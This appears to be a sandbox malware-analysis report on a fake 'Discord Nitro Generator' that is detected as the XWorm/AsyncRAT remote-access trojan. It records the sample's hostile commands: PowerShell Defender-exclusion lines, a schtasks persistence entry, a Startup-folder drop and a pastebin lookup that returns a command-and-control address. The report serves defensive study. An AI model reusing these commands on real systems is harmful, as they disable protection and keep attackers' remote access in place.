2024-10-13 17:11:05 UTC	16384	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d4 78 00 10 d4 78 00 f0 d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 Data Ascii: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
2024-10-13 17:11:05 UTC	16384	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2024-10-13 17:11:05 UTC	16384	IN	Data Raw: ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff e8 a4 25 fb e2 96 19 fa df 90 14 dc df 90 14 04 00 00 00 00 d4 78 00 3c d4 78 00 ff d4 78 00 ff d4 78 00 ff d6 7c 03 ff df 8f 13 ff e7 a2 23 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 28 ff ea a8 Data Ascii: (((((((((((((((%x<xxx\|#((((((((((((((((((((((((((((((((((((

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49831	104.20.4.235	443	4320	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-13 17:12:12 UTC	74	OUT	GET /raw/LsuynkUz HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
2024-10-13 17:12:12 UTC	397	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 17:12:12 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 252 Last-Modified: Sun, 13 Oct 2024 17:08:00 GMT Server: cloudflare CF-RAY: 8d20f407da775e68-EWR
2024-10-13 17:12:12 UTC	26	IN	Data Raw: 31 34 0d 0a 31 39 33 2e 31 36 31 2e 31 39 33 2e 39 39 3a 34 36 30 37 30 0d 0a Data Ascii: 14193.161.193.99:46070
2024-10-13 17:12:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	13:10:56
Start date:	13/10/2024
Path:	C:\Users\user\Desktop\80BvHOM51j.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\80BvHOM51j.exe"
Imagebase:	0x7ff6ace80000
File size:	43'520 bytes
MD5 hash:	2D4B0911CBB27EA9EF26908F3CE841AD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000000.00000003.1740708063.000001EE0BBE1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000000.00000003.1740708063.000001EE0BBE1000.00000004.00000020.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000000.00000002.2910321731.000001EE0BC0A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000000.00000002.2910321731.000001EE0BC0A000.00000004.00000020.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000000.00000003.1740708063.000001EE0BC02000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000000.00000003.1740708063.000001EE0BC02000.00000004.00000020.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	13:10:56
Start date:	13/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	13:11:04
Start date:	13/10/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe"
Imagebase:	0xa00000
File size:	174'080 bytes
MD5 hash:	A9D1FD427561A90037A112B99EDD9D14
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000002.00000002.2915078588.0000000002D51000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000002.00000000.1739984751.0000000000A02000.00000002.00000001.01000000.00000006.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000002.00000000.1739984751.0000000000A02000.00000002.00000001.01000000.00000006.sdmp, Author: ditekSHen Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000002.00000002.2922028493.0000000012D61000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000002.00000002.2922028493.0000000012D61000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 81%, ReversingLabs Detection: 66%, Virustotal, Browse
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	13:11:04
Start date:	13/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.bat" "
Imagebase:	0x7ff7c3930000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	13:11:04
Start date:	13/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	13:11:04
Start date:	13/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c cls
Imagebase:	0x7ff7c3930000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	13:11:09
Start date:	13/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	13:11:09
Start date:	13/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	13:11:14
Start date:	13/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.bat" "
Imagebase:	0x7ff7c3930000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Analysis Process: conhost.exePID: 7384, Parent PID: 7376

General

Target ID:	11
Start time:	13:11:14
Start date:	13/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	13:11:17
Start date:	13/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'coonfart.exe'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	13:11:17
Start date:	13/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	13:11:23
Start date:	13/10/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\coonfart.exe"
Imagebase:	0x410000
File size:	174'080 bytes
MD5 hash:	A9D1FD427561A90037A112B99EDD9D14
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	13:11:28
Start date:	13/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Public\Runtime Broker'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	13:11:28
Start date:	13/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	13:11:44
Start date:	13/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Runtime Broker'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	13:11:44
Start date:	13/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	13:12:10
Start date:	13/10/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Runtime Broker" /tr "C:\Users\Public\Runtime Broker"
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	13:12:10
Start date:	13/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	13:12:10
Start date:	13/10/2024
Path:	C:\Users\Public\Runtime Broker
Wow64 process (32bit):	false
Commandline:	"C:\Users\Public\Runtime Broker"
Imagebase:	0xf80000
File size:	174'080 bytes
MD5 hash:	A9D1FD427561A90037A112B99EDD9D14
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\Public\Runtime Broker, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\Public\Runtime Broker, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\Public\Runtime Broker, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 81%, ReversingLabs Detection: 66%, Virustotal, Browse
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	13:12:21
Start date:	13/10/2024
Path:	C:\Windows\System32\OpenWith.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\OpenWith.exe -Embedding
Imagebase:	0x7ff684350000
File size:	123'984 bytes
MD5 hash:	E4A834784FA08C17D47A1E72429C5109
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	13:12:22
Start date:	13/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	13:12:29
Start date:	13/10/2024
Path:	C:\Windows\System32\OpenWith.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\OpenWith.exe -Embedding
Imagebase:	0x7ff684350000
File size:	123'984 bytes
MD5 hash:	E4A834784FA08C17D47A1E72429C5109
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	25.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	27.3%
Total number of Nodes:	816
Total number of Limit Nodes:	7

Executed Functions

Function 00007FF6ACE81520 Relevance: 110.9, APIs: 45, Strings: 18, Instructions: 678
sleepkeyboardprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

system.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6ACE81562
SetConsoleTitleW.KERNEL32 ref: 00007FF6ACE8156F
GetStdHandle.KERNEL32 ref: 00007FF6ACE8157A

Part of subcall function 00007FF6ACE85AF8: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF6ACE813B3), ref: 00007FF6ACE85B12

Part of subcall function 00007FF6ACE85AF8: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6ACE85B28
Part of subcall function 00007FF6ACE85AF8: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6ACE85B2E

GetStdHandle.KERNEL32 ref: 00007FF6ACE817D2
GetConsoleScreenBufferInfo.KERNEL32 ref: 00007FF6ACE817DF
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z.MSVCP140 ref: 00007FF6ACE818B1

Part of subcall function 00007FF6ACE858A0: memcpy.VCRUNTIME140(?,?,?,?,?,00000000,?,00007FF6ACE817A8), ref: 00007FF6ACE859D3
Part of subcall function 00007FF6ACE858A0: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,00000000,?,00007FF6ACE817A8), ref: 00007FF6ACE85A36
Part of subcall function 00007FF6ACE858A0: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6ACE85A3D

GetStdHandle.KERNEL32 ref: 00007FF6ACE819DC
GetConsoleScreenBufferInfo.KERNEL32 ref: 00007FF6ACE819E9
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6ACE81A9A
SetConsoleTextAttribute.KERNEL32 ref: 00007FF6ACE81AD7
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z.MSVCP140 ref: 00007FF6ACE81B03
SetConsoleTextAttribute.KERNEL32 ref: 00007FF6ACE81B1E
SetConsoleTextAttribute.KERNEL32 ref: 00007FF6ACE81B46
??5?$basic_istream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@AEAH@Z.MSVCP140 ref: 00007FF6ACE81B57
SetConsoleTextAttribute.KERNEL32 ref: 00007FF6ACE81B65
?fail@ios_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF6ACE81B7C
SetConsoleTextAttribute.KERNEL32 ref: 00007FF6ACE81BB9
SetConsoleTextAttribute.KERNEL32 ref: 00007FF6ACE81BDA
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z.MSVCP140 ref: 00007FF6ACE81BFD
Sleep.KERNEL32 ref: 00007FF6ACE81C08
SetConsoleTextAttribute.KERNEL32 ref: 00007FF6ACE81C16
SetConsoleTextAttribute.KERNEL32 ref: 00007FF6ACE81C37
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z.MSVCP140 ref: 00007FF6ACE81C5A
SetConsoleTextAttribute.KERNEL32 ref: 00007FF6ACE81C68
SetConsoleTextAttribute.KERNEL32 ref: 00007FF6ACE81C89
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z.MSVCP140 ref: 00007FF6ACE81CAC
Sleep.KERNEL32 ref: 00007FF6ACE81CCA
_time64.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FF6ACE81CD2
srand.API-MS-WIN-CRT-UTILITY-L1-1-0 ref: 00007FF6ACE81CDA
SetConsoleTextAttribute.KERNEL32 ref: 00007FF6ACE81CF2
SetConsoleTextAttribute.KERNEL32 ref: 00007FF6ACE81D13

Part of subcall function 00007FF6ACE842F0: memset.VCRUNTIME140 ref: 00007FF6ACE8433F

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6ACE81DA1
memcpy.VCRUNTIME140 ref: 00007FF6ACE81E1F
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z.MSVCP140 ref: 00007FF6ACE81E4D
GetAsyncKeyState.USER32 ref: 00007FF6ACE81E94
SetConsoleTextAttribute.KERNEL32 ref: 00007FF6ACE81F09
SetConsoleTextAttribute.KERNEL32 ref: 00007FF6ACE81F2A
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6ACE81F60
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6ACE81F9C

Part of subcall function 00007FF6ACE81520: exit.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6ACE81FAC
Part of subcall function 00007FF6ACE81520: ??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z.MSVCP140 ref: 00007FF6ACE81FD0
Part of subcall function 00007FF6ACE81520: Sleep.KERNEL32 ref: 00007FF6ACE81FDB
Part of subcall function 00007FF6ACE81520: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6ACE82029
Part of subcall function 00007FF6ACE81520: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6ACE82087

Part of subcall function 00007FF6ACE811B0: ?_Xlength_error@std@@YAXPEBD@Z.MSVCP140 ref: 00007FF6ACE811BB

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6ACE820C9

Part of subcall function 00007FF6ACE81110: __std_exception_copy.VCRUNTIME140 ref: 00007FF6ACE81154

Strings

Your choice: , xrefs: 00007FF6ACE81B2B
Setting up, xrefs: 00007FF6ACE81BBF
_ __ , xrefs: 00007FF6ACE8162F
< Now starting generation.., xrefs: 00007FF6ACE81C3D
| '__|, xrefs: 00007FF6ACE8168B
< Setting up proxies.., xrefs: 00007FF6ACE81BE0
Note, xrefs: 00007FF6ACE81C6E
Invalid, xrefs: 00007FF6ACE81CF8, 00007FF6ACE81F0F
Invalid input, xrefs: 00007FF6ACE81FB3
0. Exit, xrefs: 00007FF6ACE81948
Completed, xrefs: 00007FF6ACE81C1C
< To stop generating, press X, xrefs: 00007FF6ACE81C8F
, xrefs: 00007FF6ACE815D3
[STELLAR] Discord Nitro Generator, xrefs: 00007FF6ACE81568
cls, xrefs: 00007FF6ACE8155B
| | , xrefs: 00007FF6ACE816E7
< , xrefs: 00007FF6ACE81E02
|_| , xrefs: 00007FF6ACE81743

Memory Dump Source

Source File: 00000000.00000002.2910658754.00007FF6ACE81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6ACE80000, based on PE: true

Associated: 00000000.00000002.2910610255.00007FF6ACE80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910707610.00007FF6ACE87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910756557.00007FF6ACE8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910788949.00007FF6ACE8C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ace80000_80BvHOM51j.jbxd

Similarity

API ID: Console$V01@$AttributeText$D@std@@@std@@U?$char_traits@$??6?$basic_ostream@V01@@_invalid_parameter_noinfo_noreturn$Concurrency::cancel_current_task$HandleSleep$BufferInfoScreenmemcpy$??5?$basic_istream@?fail@ios_base@std@@AsyncStateTitleXlength_error@std@@__std_exception_copy_time64exitmallocmemsetsrandsystem
String ID: $ < $ < Now starting generation..$ < Setting up proxies..$ < To stop generating, press X$ _ __ $0. Exit$Completed$Invalid$Invalid input$Note$Setting up$Your choice: $[STELLAR] Discord Nitro Generator$cls$| '__|$| | $|_|
API String ID: 1542856839-1493501309
Opcode ID: c95d794933045815afd8993f0b58f1254e93c447ee2377c7af2ed15d2179f56e
Instruction ID: b526e793a786ce7d64fed80961a37c3c276692ba6122e7e69da8dbfd8dd9e243
Opcode Fuzzy Hash: c95d794933045815afd8993f0b58f1254e93c447ee2377c7af2ed15d2179f56e
Instruction Fuzzy Hash: D7627E72E1AB8685EB00CF65D880AB93361FF85B94F505231E96DA7BA5DF3CE581C340

Function 00007FF6ACE82C60 Relevance: 56.5, APIs: 29, Strings: 3, Instructions: 489
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenA.WININET ref: 00007FF6ACE82CC1
InternetOpenUrlA.WININET ref: 00007FF6ACE82D00
InternetCloseHandle.WININET ref: 00007FF6ACE82D11
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6ACE82E03

Strings

Mozilla/5.0, xrefs: 00007FF6ACE82CBA
[+] successfully installed, xrefs: 00007FF6ACE830E0, 00007FF6ACE83455
[-] proxy 2 fail, xrefs: 00007FF6ACE82E2C

Memory Dump Source

Source File: 00000000.00000002.2910658754.00007FF6ACE81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6ACE80000, based on PE: true

Associated: 00000000.00000002.2910610255.00007FF6ACE80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910707610.00007FF6ACE87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910756557.00007FF6ACE8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2910788949.00007FF6ACE8C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6ace80000_80BvHOM51j.jbxd

Similarity

API ID: Internet$Open$CloseHandle_invalid_parameter_noinfo_noreturn
String ID: Mozilla/5.0$[+] successfully installed$[-] proxy 2 fail
API String ID: 2221183930-1568038784
Opcode ID: ea5bf015b3e2db58eccb78138e66b885dc162a5a1f37a9809a3828ab11b30293
Instruction ID: 73a84930cc9334af29f06af58631331f2fe9d7eaf4b7ba9a188f998cd1a67b22
